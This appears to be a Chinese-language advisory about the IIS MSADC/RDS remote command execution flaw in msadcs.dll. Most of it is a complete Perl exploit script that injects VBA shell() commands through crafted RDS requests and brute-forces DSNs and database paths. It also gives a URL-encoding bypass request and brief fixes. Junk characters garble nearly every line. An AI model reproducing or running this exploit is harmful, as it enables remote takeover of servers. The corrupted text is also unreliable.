IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|j81?4<)v M9""(`U 涉及程序：
R}cNhZC Microsoft NT server
ec`re+1r +*Z'oC BJ, 描述：
h!v< J 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]Vmo > rwVp}H G
详细：
}i,r{Y]s] 如果你没有时间读详细内容的话，就删除:
V[uSo$k+> c:\Program Files\Common Files\System\Msadc\msadcs.dll
nmts% u 有关的安全问题就没有了。
%<x! mE x % 1$#fxR 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
6M. |W; \=7jp|{Yl 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Mm(#N/ 关于利用ODBC远程漏洞的描述，请参看:
%1:caa@_p UfPHV%Wd http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1]eRragm" k|\M(Z*(P 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
V.z8
]iG http://www.microsoft.com/security/bulletins/MS99-025faq.asp wMj #.Jh ]ly" K!1, 这里不再论述。
GGhk~H4OP 9^ZtbmUf 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
SJ<v< B atF#0*e> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
R^$|D) ( 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
7KX27 .~F o{! :N> ( ! xG*W6IT #将下面这段保存为txt文件，然后: "perl -x 文件名"
\D y|}LE PCHspe9!y #!perl
) Z:D }r8[ #
`:;q4zi j; # MSADC/RDS 'usage' (aka exploit) script
E_a BDiyDf #
Y*PfU +y~ # by rain.forest.puppy
g_`a_ 0v #
AB`.K{h # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~r!(V;k{ # beta test and find errors!
*<! q@r<d &H]/'i- use Socket; use Getopt::Std;
RG""/x ; getopts("e:vd:h:XR", \%args);
*; ]}`r } ePl&-9T print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
*=2W:,$ ~bx ev/$d if (!defined $args{h} && !defined $args{R}) {
4|E^
#C print qq~
giX[2`^NG Usage: msadc.pl -h <host> { -d <delay> -X -v }
(Jw_2pHxr" -h <host> = host you want to scan (ip or domain)
)?UoF&c/ -d <seconds> = delay between calls, default 1 second
Jp_#pV*}: -X = dump Index Server path table, if available
r+8D|stS -v = verbose
j&oRj6;Ha+ -e = external dictionary file for step 5
#}FUa u$ V(F9=r<X Or a -R will resume a command session
_OTVQo Ap Bskp&NV': ~; exit;}
Tk4>Jb Lr D@QBT $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j}eb
_K+I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DkEv1]6JI_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
T1 $E][@Iv if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
p>;@]!YWQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=I546($ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;6Yg} L LCH\;07V# if (!defined $args{R}){ $ret = &has_msadc;
w CB*v<* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v={{ $=/t KDq="=q print "Please type the NT commandline you want to run (cmd /c assumed):\n"
o~IAZU39 . "cmd /c ";
~qrSHn}+PU $in=<STDIN>; chomp $in;
]|.ked $command="cmd /c " . $in ;
^0}ma*gi~ )ZpI%M?) if (defined $args{R}) {&load; exit;}
jRg
gj`o 3WJk04r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=+Fb\HvX{ &try_btcustmr;
r!?ga (Z(S?`') print "\nStep 2: Trying to make our own DSN...";
$M 8& &M &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>ep <W<b 31 a,i2Q4 print "\nStep 3: Trying known DSNs...";
7TMq#Pb &known_dsn;
() _ RLA Giv,%3' print "\nStep 4: Trying known .mdbs...";
],pB:= &known_mdb;
^w\22 Q );7
d_# if (defined $args{e}){
B #Ybdp ; print "\nStep 5: Trying dictionary of DSN names...";
5]N0p,f &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|(3 y09 #5@(^N5p` print "Sorry Charley...maybe next time?\n";
lx%c&~.DiB exit;
M\C9^DX{ Nrr})
g ##############################################################################
F,w B6Cw 'F/oR/4, sub sendraw { # ripped and modded from whisker
h#hr'3bI1 sleep($delay); # it's a DoS on the server! At least on mine...
B>^6tdz my ($pstr)=@_;
n[iwi socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^?`fN' !p die("Socket problems\n");
K=[7 <b,:3 if(connect(S,pack "SnA4x8",2,80,$target)){
\5r^D|Rp} select(S); $|=1;
9:USxFM print $pstr; my @in=<S>;
't5 ufAT select(STDOUT); close(S);
#cfiN b}GX return @in;
;\m X=S|a } else { die("Can't connect...\n"); }}
$v;WmYTJ G;G*!nlWf ##############################################################################
)t|:_Z JX=rL6Y@:; sub make_header { # make the HTTP request
1'E=R0`pA my $msadc=<<EOT
$*#^C;7O POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[<R haZz User-Agent: ACTIVEDATA
NZB*;U~t Host: $ip
]!B0= XP Content-Length: $clen
!E 5FU *s Connection: Keep-Alive
Me Ea| . T UcFx_ ADCClientVersion:01.06
"/Qz?1>l+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M%S7cIX
]F ?'MkaG0g --!ADM!ROX!YOUR!WORLD!
[g mov)\c Content-Type: application/x-varg
#KJ # 1 Content-Length: $reqlen
kw#X,h P M*zpl} EOT
OTXZdAv ; $msadc=~s/\n/\r\n/g;
3CoZ2 return $msadc;}
@Ln v b w P=f. ##############################################################################
j &d5tgLB %GhI0F # sub make_req { # make the RDS request
X,k^p[Rcu my ($switch, $p1, $p2)=@_;
O+}py{ st my $req=""; my $t1, $t2, $query, $dsn;
N#T'}>t y ^jMrM.G Y if ($switch==1){ # this is the btcustmr.mdb query
8Sr' $query="Select * from Customers where City=" . make_shell();
,UY1.tR( $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^1S{:: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
ks#3
o+ z{rV |vQ elsif ($switch==2){ # this is general make table query
-#|;qFD] $query="create table AZZ (B int, C varchar(10))";
l )%PvLbL $dsn="$p1";}
Tx;a2:6\[ =NF0 E8O elsif ($switch==3){ # this is general exploit table query
..)J6L5 l $query="select * from AZZ where C=" . make_shell();
$l]:2 !R $dsn="$p1";}
E!9WZY k H.dtg_ elsif ($switch==4){ # attempt to hork file info from index server
A(Fn U: $query="select path from scope()";
FCE y1^ u $dsn="Provider=MSIDXS;";}
[CJ<$R ! ^K? -+ elsif ($switch==5){ # bad query
U]cXE1c>F $query="select";
qbv\uYow3k $dsn="$p1";}
7iP+!e }$. o}rG:rhIh $t1= make_unicode($query);
cRT' ?w`} $t2= make_unicode($dsn);
-5<[oBL; $req = "\x02\x00\x03\x00";
|R}=HsYey $req.= "\x08\x00" . pack ("S1", length($t1));
Bh3F4k2bg7 $req.= "\x00\x00" . $t1 ;
5#DMizv6 $req.= "\x08\x00" . pack ("S1", length($t2));
io4<HN $req.= "\x00\x00" . $t2 ;
Cyg2o<O@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
h=#w< @ return $req;}
PQ&*(G #Z%"
?RJ ##############################################################################
hq=;Z I I1<WHq
sub make_shell { # this makes the shell() statement
6'# 5Dqw"r return "'|shell(\"$command\")|'";}
TjUw e@&Rw G}n J3 ##############################################################################
lFzVd
N 7f>=-sv sub make_unicode { # quick little function to convert to unicode
B>53+GyMV my ($in)=@_; my $out;
t(z]4y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2&1mI>:F return $out;}
=D`8,n [ Scrj%h%[ ##############################################################################
xo[o^go E 2n z sub rdo_success { # checks for RDO return success (this is kludge)
? o "
Vkc: my (@in) = @_; my $base=content_start(@in);
P<PZ4hNx if($in[$base]=~/multipart\/mixed/){
sA2-3V<t8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
p'R<yB)V return 0;}
P 45Irir xp^RAVXq` ##############################################################################
N"70 P/ !.vyzCJTzB sub make_dsn { # this makes a DSN for us
_** Nlp*% my @drives=("c","d","e","f");
=-U0r$sK+F print "\nMaking DSN: ";
,2M}qs"P7G foreach $drive (@drives) {
'UlVc2%{ print "$drive: ";
*#=Ij r~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
yK *vn]} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_ S r}3 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i~';1
.g $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
f'*-< sSr return 0 if $2 eq "404"; # not found/doesn't exist
qf? "v; if($2 eq "200") {
_ ;HdX$op foreach $line (@results) {
!xsfhLZK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*vb"mB } return 0;}
hYJzF.DW<$ cN,*QN ##############################################################################
}3#\vn0gT <,} h8;Fr sub verify_exists {
xC`!uPk/pL my ($page)=@_;
Q %o@s3~O my @results=sendraw("GET $page HTTP/1.0\n\n");
]+D@ E2E return $results[0];}
$k~TVm
Yex CF bNv9GZj ##############################################################################
c -+NWC 'z$N{p40m sub try_btcustmr {
7+HK_wNi my @drives=("c","d","e","f");
<`n ShP>vl my @dirs=("winnt","winnt35","winnt351","win","windows");
HI8mNX3 "j s=8H< 'l foreach $dir (@dirs) {
L `1 ITz print "$dir -> "; # fun status so you can see progress
\=%lH = yS foreach $drive (@drives) {
~c)&9' print "$drive: "; # ditto
9?l a 5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
FV^jCseZ $reqlenlen=length( "$reqlen" );
S=qh7ML $clen= 206 + $reqlenlen + $reqlen;
KF rsXf "^]gI Qc my @results=sendraw(make_header() . make_req(1,$drive,$dir));
o~LJ+m6-) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
CS[]T9|_ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{++ EX2 Dz }i-tw+ ##############################################################################
8C3k:
D[ tMl y*E sub odbc_error {
rq %]CsRY5 my (@in)=@_; my $base;
zhn ?;Fi my $base = content_start(@in);
|*bUcS<S if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tq
L(H25z $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"to!&@I|
4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!*#9b $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^'X
I%fEf return $in[$base+4].$in[$base+5].$in[$base+6];}
MLDzWZ~}ef print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=KPmZ ,/w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w"R<8e= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%-n) L Z )rW>I
##############################################################################
Ks.b).fH Pe %[d[ k sub verbose {
[:X@|,1V!L my ($in)=@_;
j ,YrM?Xdo return if !$verbose;
tT]@yo|?e/ print STDOUT "\n$in\n";}
!#0)`4O j<^!"_G]*? ##############################################################################
u({^8: AYu .<m]j;|6 sub save {
Zl>SeTjB- my ($p1, $p2, $p3, $p4)=@_;
2C
S9 v open(OUT, ">rds.save") || print "Problem saving parameters...\n";
un "I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
lSX1|,B7:] close OUT;}
L.;b( bFe fK/ : ##############################################################################
iYXD }l;r RC_Pj) sub load {
SAm%$v z%M my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
" c%wq 0 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
lNe4 e6 @p=<IN>; close(IN);
wv\X $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
UQ0!t Fx $target= inet_aton($ip) || die("inet_aton problems");
4=,J@N- print "Resuming to $ip ...";
5IU! BQU $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=4_}. if($p[1]==1) {
R_EU|a $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gP MR,TU $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
88 ?bUA3] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#0AyC.\ if (rdo_success(@results)){print "Success!\n";}
)\+Imn else { print "failed\n"; verbose(odbc_error(@results));}}
fJ}e elsif ($p[1]==3){
ucl001EK if(run_query("$p[3]")){
x;vfmgty print "Success!\n";} else { print "failed\n"; }}
w{tA{ { elsif ($p[1]==4){
v47' dC if(run_query($drvst . "$p[3]")){
".}R$ W print "Success!\n"; } else { print "failed\n"; }}
I0
t#{i exit;}
x1:mT[[$ pm
O9mWq ##############################################################################
KM &P5 } 8^_:9&) i sub create_table {
-ssb| r my ($in)=@_;
' o&d!
$reqlen=length( make_req(2,$in,"") ) - 28;
6J;!p/C8E $reqlenlen=length( "$reqlen" );
D`XXR}8V $clen= 206 + $reqlenlen + $reqlen;
\Z5Wp5az}, my @results=sendraw(make_header() . make_req(2,$in,""));
wUvE return 1 if rdo_success(@results);
? 2}%Rb39 my $temp= odbc_error(@results); verbose($temp);
S?v/diK ]J return 1 if $temp=~/Table 'AZZ' already exists/;
H; `F}qQ3 return 0;}
l,|Llb 3,p!Fun:r ##############################################################################
Z
`F[0- rmg\Pa8W> sub known_dsn {
,i_+Z
|Ls # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
EZ!! V~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
=1[_#Moc6 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G 2`YZ\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
8~U
^G[! ?0~g1"Y-*K foreach $dSn (@dsns) {
e;6:U85LS print ".";
`}Y)l:G*g next if (!is_access("DSN=$dSn"));
3, i j@P if(create_table("DSN=$dSn")){
XL*M#Jx print "$dSn successful\n";
i9 aR# if(run_query("DSN=$dSn")){
!Yc:yF print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b`e_}^,c print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ug*B[q/ Jxl'!8t ##############################################################################
WsbVO|C jr6 0;oK+ sub is_access {
]t<=a6 <P my ($in)=@_;
%; &lVIU0 $reqlen=length( make_req(5,$in,"") ) - 28;
&S="]*Z $reqlenlen=length( "$reqlen" );
_qB
._ $clen= 206 + $reqlenlen + $reqlen;
Zv yZ5UA my @results=sendraw(make_header() . make_req(5,$in,""));
fTEZ@ #p my $temp= odbc_error(@results);
Mnranhe>G verbose($temp); return 1 if ($temp=~/Microsoft Access/);
hp -|a return 0;}
!w7/G -aT-<+? s ##############################################################################
|?KYY0 D:k< , { sub run_query {
K qJE?caw my ($in)=@_;
"'5(UiSFz $reqlen=length( make_req(3,$in,"") ) - 28;
=R0f{&"i $reqlenlen=length( "$reqlen" );
C2<TR PT $clen= 206 + $reqlenlen + $reqlen;
[60y.qE my @results=sendraw(make_header() . make_req(3,$in,""));
7c_2.T@4 return 1 if rdo_success(@results);
9swHa my $temp= odbc_error(@results); verbose($temp);
NFVu~t return 0;}
ltOS()[X g:uVl;> ##############################################################################
P 0\`4Cr! !$n@:W / sub known_mdb {
bofI0f}5. my @drives=("c","d","e","f","g");
"nr?WcA my @dirs=("winnt","winnt35","winnt351","win","windows");
`:'ciY|%b my $dir, $drive, $mdb;
<?A4/18K my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7fq Q <^nS% hXEr # this is sparse, because I don't know of many
{
{?-&
yA my @sysmdbs=( "\\catroot\\icatalog.mdb",
w!UF^~ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
KY&Lv^1_| "\\system32\\certmdb.mdb",
SB%D%Zx6'% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
POk5+^ ^m7y=CJM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4lPO*:/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
0$Tb5+H5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
QP~[ "%}T "\\cfusion\\cfapps\\security\\realm_.mdb",
:G6 C WE "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Fe psa;\sU "\\cfusion\\database\\cfexamples.mdb",
ksq4t "\\cfusion\\database\\cfsnippets.mdb",
n\;;T1rM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
XrUI [ryE "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.?:#<=1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
qBF|' .$^ "\\cfusion\\database\\smpolicy.mdb",
9ug4p'] "\\cfusion\\database\cypress.mdb",
hV $Zr4' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
iq3)}hGo "\\website\\cgi-win\\dbsample.mdb",
I S" [< "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
XR]bd "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
;):;H?WS|A ); #these are just
z1b@JCWE foreach $drive (@drives) {
KxErWP% foreach $dir (@dirs){
2 RZa} foreach $mdb (@sysmdbs) {
Wpf~Ji6|| print ".";
I3
6@x`f if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5ppr ;Q aB print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
T }J)n5U}\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
BoT#b^l print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
~_ i=hx } else { print "Something's borked. Use verbose next time\n"; }}}}}
m s3" 7x.j:{2 foreach $drive (@drives) {
(J4( Ge foreach $mdb (@mdbs) {
Dlz0*eHD print ".";
nYyKz
Rz if(create_table($drv . $drive . $dir . $mdb)){
H6Zo|n print "\n" . $drive . $dir . $mdb . " successful\n";
S.[L?uE~F if(run_query($drv . $drive . $dir . $mdb)){
B _ J2Bf print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
e
6wevK\ } else { print "Something's borked. Use verbose next time\n"; }}}}
@ddC Vxd }
@ D[ +@N &@xm< A\S ##############################################################################
?Xpk"N7 j#3IF *" sub hork_idx {
U;kN o3= print "\nAttempting to dump Index Server tables...\n";
fhn$~8[_A print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
6 _V1s1F $reqlen=length( make_req(4,"","") ) - 28;
'hu' }F{ $reqlenlen=length( "$reqlen" );
CE{2\0Q $clen= 206 + $reqlenlen + $reqlen;
Cn=#oE8(A my @results=sendraw2(make_header() . make_req(4,"",""));
a`:F07 r if (rdo_success(@results)){
xrXfZ>$5bM my $max=@results; my $c; my %d;
^PC;fn,I for($c=19; $c<$max; $c++){
cY+f Z= $results[$c]=~s/\x00//g;
x _kT
Wq $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Z; NaIJiL- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Ev e,*ATI $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
,2U $d{"$1$2"}="";}
W)Mz1v #s foreach $c (keys %d){ print "$c\n"; }
= ,6X_m } else {print "Index server doesn't seem to be installed.\n"; }}
},X.a@: ^d#
AU7V| ##############################################################################
Mq\?J{E G _q t~U sub dsn_dict {
QeT~s5 H open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<8~c7kT ' while(<IN>){
_9"ZMUZ{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
L{1[:a)']B next if (!is_access("DSN=$dSn"));
$ r-rIW5\ if(create_table("DSN=$dSn")){
PDH|=meXM print "$dSn successful\n";
4h?@D_{k if(run_query("DSN=$dSn")){
CXGMc)#>f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A|PZ<WAY print "Something's borked. Use verbose next time\n";}}}
%qqCpg4 print "\n"; close(IN);}
6J- /% V:t{m u5j ##############################################################################
8LF=l1= ~ %x;~ o: sub sendraw2 { # ripped and modded from whisker
zr A3bWs sleep($delay); # it's a DoS on the server! At least on mine...
-1hCi ! my ($pstr)=@_;
_J2?B?S/j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z6M
qcAJ3j die("Socket problems\n");
+t-_FbFh3D if(connect(S,pack "SnA4x8",2,80,$target)){
'ahz@+ l O print "Connected. Getting data";
vz3olHX open(OUT,">raw.out"); my @in;
jZ"j_ =o@ select(S); $|=1; print $pstr;
?ecR9X k while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~("bpS#ZgD close(OUT); select(STDOUT); close(S); return @in;
j"Ew) 6j } else { die("Can't connect...\n"); }}
^} Y}Iz
%S`Wu|y ##############################################################################
6*EIhIQ( ?.-+U~ sub content_start { # this will take in the server headers
KbciRRf!k my (@in)=@_; my $c;
,c`Wmp^AY for ($c=1;$c<500;$c++) {
g/FT6+&T. if($in[$c] =~/^\x0d\x0a/){
Kc@Sw{JR#7 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~-G_c=E? else { return $c+1; }}}
+2p}KpOsL return -1;} # it should never get here actually
eVX/<9> ^Nds@MR{8' ##############################################################################
c M<08-:v 4Wvefq" sub funky {
oV9{{ my (@in)=@_; my $error=odbc_error(@in);
M @G\b^ " if($error=~/ADO could not find the specified provider/){
7/KK}\NE print "\nServer returned an ADO miscofiguration message\nAborting.\n";
hAds15 %C exit;}
Pd; 8<UMk if($error=~/A Handler is required/){
x1Z'_Qw print "\nServer has custom handler filters (they most likely are patched)\n";
7$Wbf4 exit;}
u^i3 @JuX if($error=~/specified Handler has denied Access/){
:)4c_51 ` print "\nServer has custom handler filters (they most likely are patched)\n";
A|4
3W = exit;}}
I!(BwYd ttB>PTg# ##############################################################################
*2.h*y'u ] R!YRu sub has_msadc {
<EE^ KR96 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
M(C$SB> my $base=content_start(@results);
vxi_Y\r=T return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
!?J- Y return 0;}
5-H"{29 j4 `+RS+q ########################
9D ,!] j,9/eZRZ I (k(p\l % 解决方案：
$tc1 te 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*5XOYb?'v. 2、移除web 目录: /msadc
